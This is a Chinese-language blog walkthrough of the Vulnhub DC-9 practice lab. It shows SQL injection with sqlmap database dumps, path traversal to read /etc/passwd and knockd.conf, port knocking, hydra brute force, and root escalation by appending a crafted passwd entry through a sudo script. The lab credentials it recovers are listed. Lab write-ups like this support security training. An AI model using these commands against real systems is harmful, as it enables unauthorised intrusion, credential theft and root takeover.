freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Vulnhub DC: 9
HBXQ 2021-02-09 23:16:33 118103

DC-9

基础信息

这是DC系列的最后一个靶机,难度中等,思路比较清晰容易上手

图片.png

成功导入镜像,启动成功显示如下界面

图片.png

主机发现与端口扫描

因为靶机与kali处于同一个网段先使用nmap发现地址,然后在对地址进行详细的端口探测

nmap 192.168.1.0/24

靶机地址为192.168.1.106

图片.png

对该地址进行端口扫描

nmap -sV -p- -A -O  192.168.1.106

开放了22与80端口

图片.png

进入80端口发现可以输入信息,但是页面上看不到输入的内容判断使用的是POST方式

图片.png

可以使用burp抓包尝试修改参数
查看是否存在SQL注入
使用 ' or 1=1 -- 进行尝试
发现存在SQL注入

图片.png

直接使用sqlmap进行暴库

sqlmap -u "http://192.168.1.106/results.php" --dbs --data "search=1" --batch

图片.png

将两个数据库的内容都爆出来

第一个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' -C 'Username,Password' --dump --batch
第二个库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' -C 'username,password' --dump --batch

图片.png

图片.png

获得第一个库的账号密码,通过解密获得密码
账号:admin
密码:transorbital1
图片.png第二个库
图片.png

获取shell

因为开放了22端口尝试进行远程登录
登录被拒绝
图片.png换一种思路进行尝试

使用第一个库爆出的账号密码在页面中进行登录
看看是否能获得一些有用的信息
发现页面最下面显示文件不存在,看看是不是文件包含

图片.png

http://192.168.1.106/welcome.php?file=../../../../../../../etc/passwd

命令可以执行
图片.png

最终通过爆破发现knockd.conf,通过查找资料发现这个文件是端口敲门服务,用于将服务隐藏,需要将它开放的端口进行逐个敲门才能够开启ssh远程连接端口

http://192.168.1.106/welcome.php?file=../../../../../../../etc/knockd.conf

图片.png

使用nc逐一敲击三个端口
再次扫描端口之后发现22端口已被打开
图片.png

连接ssh远程端口需要密码
我们可以使用之前爬取数据库获得的账号与密码生成两个字典
使用hydra进行爆破

图片.png

因为这是复现,这里直接进入有敏感信息的账号
账号:janitor
密码:Ilovepeepee
登录成功后,ls -al 查看所有文件
发现.secrets-for-putin,这是一个储存密码的文件

图片.png

将获取的密码写入之前的字典重新进行爆破
图片.png账号:fredf
密码:B4-Tru3-001
图片.png

提权

sudo -l查看是否有可利用信息

图片.png

进入/opt/devstuff/目录下发现test.py
查看test.py内容

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。
这段代码的意思是将输入的第一个文件名的内容,增加到第二个输入的文件名内容里面去

我们可以构造一个root权限的文件,并将这个文件写入到/etc/passwd文件中
passwd格式:
用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器

E{R`XTUGBS7J3EBTL$5@6IC.png

首先进入/tmp目录下,因为在这个目录下我们有写权限

图片.png

第一次尝试失败,因为设置密码时设置的密码为空在提权时直接身份验证失败

图片.png

使用openssl生成一个新用户和新密码

openssl passwd -1 -salt 123 123  用户:123 密码:123 salt是撒盐加密
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 123   把123用户赋予root权限,写到文件123中
sudo /opt/devstuff/dist/test/test /tmp/123 /etc/passwd   调用命令将123文件写入/etc/passwd

图片.png

图片.png

获取flag

图片.png

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 HBXQ 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
VulnHub 实录
HBXQ LV.5
搬砖小牛马
  • 43 文章数
  • 48 关注者
安卓基础:安卓安装包APK的组成以及生成步骤
2021-10-18
HTB:Dropzone渗透测试
2021-08-26
HTB:Active渗透测试
2021-08-24
文章目录